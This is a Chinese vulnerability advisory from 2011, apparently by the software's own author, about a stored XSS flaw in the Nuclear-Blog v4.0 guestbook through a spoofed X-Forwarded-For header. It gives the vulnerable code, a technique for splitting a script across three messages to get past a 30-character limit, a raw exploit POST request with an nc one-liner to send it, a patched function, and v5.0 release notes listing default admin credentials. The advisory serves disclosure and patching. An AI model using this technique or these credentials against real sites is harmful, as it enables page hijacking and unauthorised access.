首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Nuclear-Blog v4.0 留言板的 XSS 漏洞
来源:vfocus.net 作者:Nuclear'Atk 发布时间:2011-07-01  

其实此漏洞,在当时发布 Nuclear-Blog v4.0 源码的当天,就被发现了,发现的人是t00ls某核心,然后我直接补了,但是网盘下载的依然没补,所以目前市面上所有 Nuclear-Blog v4.0 均存在此漏洞,不知道有没有别人发现。

    这是一个XSS漏洞,这个漏洞纯属是我的疏忽,漏洞在文件“liuyan/liuyan.asp”,看代码。

liuyan/liuyan.asp,第 113 行:

…… 以上省略 ……

Function GetIP() '绕过代理获取真实IP
Dim StrIPAddr
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
    StrIPAddr = Request.ServerVariables("REMOTE_ADDR")
        ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
    StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
        ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
    StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
Else
    StrIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
End If
GetIP = Trim(Mid(StrIPAddr, 1, 30))
End Function

…… 以下省略 ……

 

漏洞产生原因:

    这段代码看似正常,这段代码的功能是绕过代理获取用户真实IP,漏洞产生在函数“Request.ServerVariables("HTTP_X_FORWARDED_FOR")”。

    这个函数取到的值是从客户端发送的HTTP头取到的,所以 HTTP_X_FORWARDED_FOR 可以使用http头伪造IP地址!当然也可以放其他的内容,漏洞就这样产生了。

    这个其实很早以前学习Asp的时候,我就知道了,但不知为什么,当时抽风,居然用了这个函数,还没检查,我去……

    类似这种函数的有很多,就不一一解释了,总之漏洞就是这么产生的。

    但是这有个问题,看底下的蓝色部分,数据的长度被限制为 1-30 个字符,所以想插入XSS代码,有点操蛋,长度太短了,小于 30 个字符的 JavaScript 代码貌似没有 (<script>alert(/xss/)</script> 正好三十个字符) ……

    呵呵,不过这个稍微动点脑子就可以了,先发一条留言,插入:*/</script>,再发一条留言插入:*/alert(/xss/);/*,最后再发一条留言插入:<script>/*,由于留言显示的方式是倒叙的,所以最后的显示代码就是:

…… 省略 Html 代码 ……

<script>/*

…… 省略 Html 代码 ……

*/alert(/xss/);/*

…… 省略 Html 代码 ……

*/</script>

…… 省略 Html 代码 ……

    所有 /* 和 */ 之间的代码全就被注释掉了(/* html代码中的注释符号 */),这样 JavaScript 代码就完美的闭合了,然后你想插入多少代码都没问题,都可以执行,长度限制就毫无作用了,最重要的是 Firefox 和 IE 全都支持,实例代码如下:

 

以下是引用片段:

<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080>
  <TR>
    <TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR valign="middle">
          <TD align="center"><img src="../../image/face/1.gif"/></TD>
        </TR>
        <TR valign="middle">
          <TD align="center"><b>镖镇王大侠</b></TD>
        </TR>
      </TABLE></TD>
    <TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR>
          <TD width="20%">ID:2</TD>
          <TD width="45%">时间:2011-06-30 17:09:09</TD>
          <TD width="35%">IP:<script>/*</TD>
        </TR>
        <TR>
          <TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
            <TR>
              <TD height="80" valign="top">留言内容:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;    大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD>
            </TR>
            <TR>
              <TD valign="top">管理回复:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;</TD>
            </TR>
          </TABLE>
        </TR>
      </TABLE></TD>
  </TR>
</TABLE>
<br>
<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080>
  <TR>
    <TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR valign="middle">
          <TD align="center"><img src="../../image/face/1.gif"/></TD>
        </TR>
        <TR valign="middle">
          <TD align="center"><b>镖镇王大侠</b></TD>
        </TR>
      </TABLE></TD>
    <TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR>
          <TD width="20%">ID:2</TD>
          <TD width="45%">时间:2011-06-30 17:09:09</TD>
          <TD width="35%">IP:
*/alert(/xss/);/*</TD>
        </TR>
        <TR>
          <TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
            <TR>
              <TD height="80" valign="top">留言内容:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;    大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD>
            </TR>
            <TR>
              <TD valign="top">管理回复:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;</TD>
            </TR>
          </TABLE>
        </TR>
      </TABLE></TD>
  </TR>
</TABLE>
<br>
<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080>
  <TR>
    <TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR valign="middle">
          <TD align="center"><img src="../../image/face/1.gif"/></TD>
        </TR>
        <TR valign="middle">
          <TD align="center"><b>镖镇王大侠</b></TD>
        </TR>
      </TABLE></TD>
    <TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
        <TR>
          <TD width="20%">ID:2</TD>
          <TD width="45%">时间:2011-06-30 17:09:09</TD>
          <TD width="35%">IP:
*/</script></TD>
        </TR>
        <TR>
          <TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
            <TR>
              <TD height="80" valign="top">留言内容:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;    大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD>
            </TR>
            <TR>
              <TD valign="top">管理回复:<br>
                &nbsp;&nbsp;&nbsp;&nbsp;</TD>
            </TR>
          </TABLE>
        </TR>
      </TABLE></TD>
  </TR>
</TABLE>

 

Exp:

POST /liuyan/liuyan.asp?save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*
X-Forwarded-For:Hello World!
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 324
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: AJSTAT_ok_times=1; TLWNHIRSISRTUNOJIKUD=RDHRHVSXNBYEHUFEPSYNZLOGLGBEJQEPROBCUOEL

UserPic=..%2Fimage%2Fface%2F1.gif&mingzi=%EF%DA%D5%F2%CD%F5%B4%F3%CF%C0&liuyan=++++%B4%F3%C2%B7%B3%AF%CC%EC%A3%AC%B8%F7%D7%DF%D2%BB%B1%DF%A1%A3%BD%F1%B8%F6%B6%F9%C2%B7%B9%FD%B9%F3%B5%D8%A3%AC%BB%B9%CF%A3%CD%FB%B8%F7%CE%BB%B5%B1%BC%D2%B5%C4%D0%D0%B8%F6%B7%BD%B1%E3%A1%A3%28400%D7%D6%D2%D4%C4%DA%29&ok=%CC%E1%BD%BB%CA%FD%BE%DD

 

?不知道咋用???? Look → Nc.exe -vv lcx.cc 80<Exp.txt,你懂得。。。

修复方案,直接替换 GetIP() 整个函数即可,或者干脆升级到 v5.0 吧:

Function GetIP() '获取IP
Dim Tmp
Tmp = Request.ServerVariables("REMOTE_ADDR")
IF Len(Tmp) < 7 Then Response.End
IF Len(Tmp) > 15 Then Response.End
IF InStr(Tmp, "'") > 0 Then Response.End
IF InStr(Tmp, """") > 0 Then Response.End
IF InStr(Tmp, "<") > 0 Then Response.End
IF InStr(Tmp, ">") > 0 Then Response.End
GetIP = Server.HtmlEncode(Tmp)
End Function

 

--------------------------------------------------------------------------

附:Nuclear-Blog v5.0 博客系统源码开源下载,下载地址:http://www.uudisc.com/user/nuclearatk/file/4138149

    本着自由、分享、进步的精神,公开 Nuclear-Blog v5.0 源码

    该套程序从2010年04月中旬零碎更新至今,测试使用很久,之前也发布了 Nuclear-Blog v4.0 公开测试了,目前版本:v5.0。

    源码中其中除了 eWebEditor 在线编辑器、MD5标准加密算法、一个高速查询数据库的模块(\liuyan\ListPage.Asp)以及 Flash 播放器以外,所有源码、模板、登陆界面均是本人一行一行反复测试编写而成,没有抄袭任何 Blog 程序,细心的人可以发现,这套程序风格独成一体,完全不同于其他博客系统。

    本套程序没有上传功能,至于为什么没有,一是还没来的及写(我懒),二是可能存在一些安全隐患。为了弥补这个功能,提供了一个“baidu.asp”,具体的看下边的文件简介。

    另外,本套程序完全支持自由更换、修改、开发模板,而且模板的编写十分简单,具体见:image\Index.html、image\List.html、image\Html.html。

    还有,在所有 Asp 文件中均有详尽的注释,供二次开发使用,具体自己去看,太多了,不一一列举了。

    后台:admin\index.asp,登陆的账号密码见:admin\login.asp,默认为“admin”,“123456”。

    账号和密码是标准MD5加密算法加密过的,加密方式:密文=MD5(MD5(MD5(明文)))。

    强烈建议:不要将账号、密码放入数据库中!数据库被下载,会导致安全隐患。

    支持留言自动邮件提醒功能,如果有新留言,则发送邮件提醒(需要Jmail组件支持,推荐:w3 JMail v4.5 免费版,如果 JMail 版本不一样,有时候无法使用。),收件账号、发件账号、发件密码、邮件Smtp,其中任意一栏为空则禁用邮件提醒功能。

    支持内容防采集设置,该设置支持通配符,通配符请参阅模板文件,网站内容防采集设置,“查找指定标记”或“在标记处插入”其中任意一项内容留空,则不使用网站内容防采集功能。

    也没啥要说的了,注释啥都有,自己去看,这有助于你的学习与进步,底下就是各种目录文件的说明,以及建议的权限设置。不设置权限也没关系,这套程序十分安全,除非你旁注,或者存在服务器安全漏洞。

    如果你有好的建议、漂亮模板、功能更新等,或者发现任何安全漏洞、Bug、缺陷等,都可以在本站留言,当然也欢迎各位疯狂的发掘此系统各种安全漏洞 ^.^。


------------------------------------------------------------
需要组件:
------------------------------------------------------------
    Server.Createobject("Adodb.Connection")    'Adodb.Connection 组件,操作数据库,100% 的空间都支持。
    Server.CreateObject("Adodb.RecordSet")    'Adodb.RecordSet 组件,操作数据库,100% 的空间都支持。
    Server.CreateObject("scripting.filesystemObject")    'FSO 组件,读写文件,99.9% 的空间都支持。
    Server.CreateObject("JMAIL.Message")    'Jmail 组件,发送邮件。如果你不需要留言提醒功能,可以不安装此组件。
    Jmail 组件:推荐:w3 JMail v4.5 免费版,如果 JMail 版本不一样,有时候发送邮件功能无法正常使用。
------------------------------------------------------------


------------------------------------------------------------
安装步骤:
------------------------------------------------------------
    0、强烈建议修改后台管理主目录“admin\”。
    1、打开“Nuclear-Blog v5.0\生成密码.asp”,按照说明填写密码。
    2、上传所有文件到你的服务器或者支持Asp的空间。
    3、使用浏览器访问“生成密码.asp”,按照提示在本机修改管理账号、密码。
    4、将修改过的文件再次上传到你的服务器或者支持Asp的空间,覆盖原文件,修改密码完成。
    5、登陆后台设置网站参数等信息。
    提示:你可以在本地架设Asp服务器(例如:小旋风ASP服务器/AspWebserver2005),修改好密码,直接上传到空间。
    动、静态系统切换:修改 conn.asp,根据说明及需要自行修改,强烈推荐静态模式。
------------------------------------------------------------


------------------------------------------------------------
目录说明:
------------------------------------------------------------
    路径                     功能说明
    admin\                   后台管理主目录,该管理系统完全独立,目录名字随意改,完全不影响使用。
    admin\eWebEditor\        在线编辑器文件存放目录,该编辑器使用的纯静态,不存在什么上传漏洞之类的,可放心使用。
    admin\images\            后台的登陆界面以及背景图片存放目录。
    html\                    Html 文件缓存目录(如果开启了静态模式的话,具体设置在 conn.asp),每次修改文章、发布文章、修改网站设置,该目录会清空(包括子目录)。
    image\                   网站各种 logo 、留言表情以及模板文件存放目录。
    image\face               留言表情文件存放目录。
    liuyan\                  网站留言程序存放目录,该留言程序是独立的,该目录名字可以随意修改,但是要注意主页及文章的留言连接也要一并修改。
    music\                   网站多媒体播放文件存放目录。
    music\skins\             Flash 播放器的皮肤文件存放目录。
------------------------------------------------------------


------------------------------------------------------------
文件说明:
------------------------------------------------------------
    路径                     功能说明
    生成密码.asp             生成新的管理账号、密码用的,本文件和博客系统无关,完全可以删掉,不影响程序使用。
    baidu.asp                由于博客没有上传功能,所以提供了个盗链百度空间图片的东西,用法:baidu.asp?http://hi.baidu.com/****.jpg。
    Data.mdb                 所有数据存放的数据库,备份系统只需要备份该文件即可,可以任意修改名称,注意对应修改 conn.asp 中的路径。
    conn.asp                 定义一些常用组件,和博客静态、动态开关,以及静态页面文件存放路径、数据库路径。
    home.asp                 生成主页、文章、缓存之类的核心文件,该文件不单独运行,由 index.asp 包含执行。
    index.asp                处理主页、文章、缓存之类的核心文件。
    md5.asp                  Md5 标准加密算法模块,校验密码,及生成唯一缓存路径用的。
    admin\*.asp              文件太多了,不一一介绍了,均是网站设置、留言管理、文章发布、编辑等功能。
    image\Index.html         主页模板,可以自行修改编辑。
    image\List.html          文章列表页面模板,可以自行修改编辑。
    image\Html.html          文章页面模板,可以自行修改编辑。
    liuyan\index.asp         留言系统的主页,显示数据库中留言以及分页功能。
    liuyan\liuyan.asp        提交留言的页面,安全过滤已经做死了,可放心使用。
    liuyan\ListPage.asp      一个高速查询数据库的模块。
------------------------------------------------------------


------------------------------------------------------------
权限设置:
------------------------------------------------------------
    路径                     建议权限
    admin\                   请务必修改该目录名称,该目录以及其子目录中的所有文件,完全拒绝写入、修改权限,仅保留读取及执行权限。
    html\                    该目录需要读取、写入、修改、删除权限,完全拒接执行权限。
    image\                   该目录以及其子目录中的所有文件,完全拒绝写入、修改及执行权限,仅保留读取权限。
    liuyan\                  该目录以及其子目录中的所有文件,完全拒绝写入、修改权限,仅保留读取及执行权限。
    music\                   该目录以及其子目录中的所有文件,完全拒绝写入、修改及执行权限,仅保留读取权限。
    baidu.asp                该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
    data.mdb                 该文件需要读取、写入、修改权限,完全拒绝执行权限。
    conn.asp                 该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
    home.asp                 该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
    index.asp                该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
    md5.asp                  该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
    生成密码.asp             该文件使用完请直接删除!!!
------------------------------------------------------------

 

By:Nuclear'Atk



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·某企业站系统SQL注入批量拿shell
·掏帝管理平台安全漏洞
·Discuz! X2 SQL注射漏洞,支持Un
·InnovaStudio WYSIWYG Editor 3.
·风讯 4.0之前所有版本通杀拿SHEL
·vBseo(百度推广)远程执行漏洞
·易通企业网站最新0DAY漏洞
·PJBlog3 V3.2.8.352文件Action.a
·Discuz! X2.0 SQL注入漏洞 EXP
·WordPress 3.1.3 注入漏洞(最新
·网络商城购物系统v3.0全功能版
·Modoer 1.2.5 注入0day
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved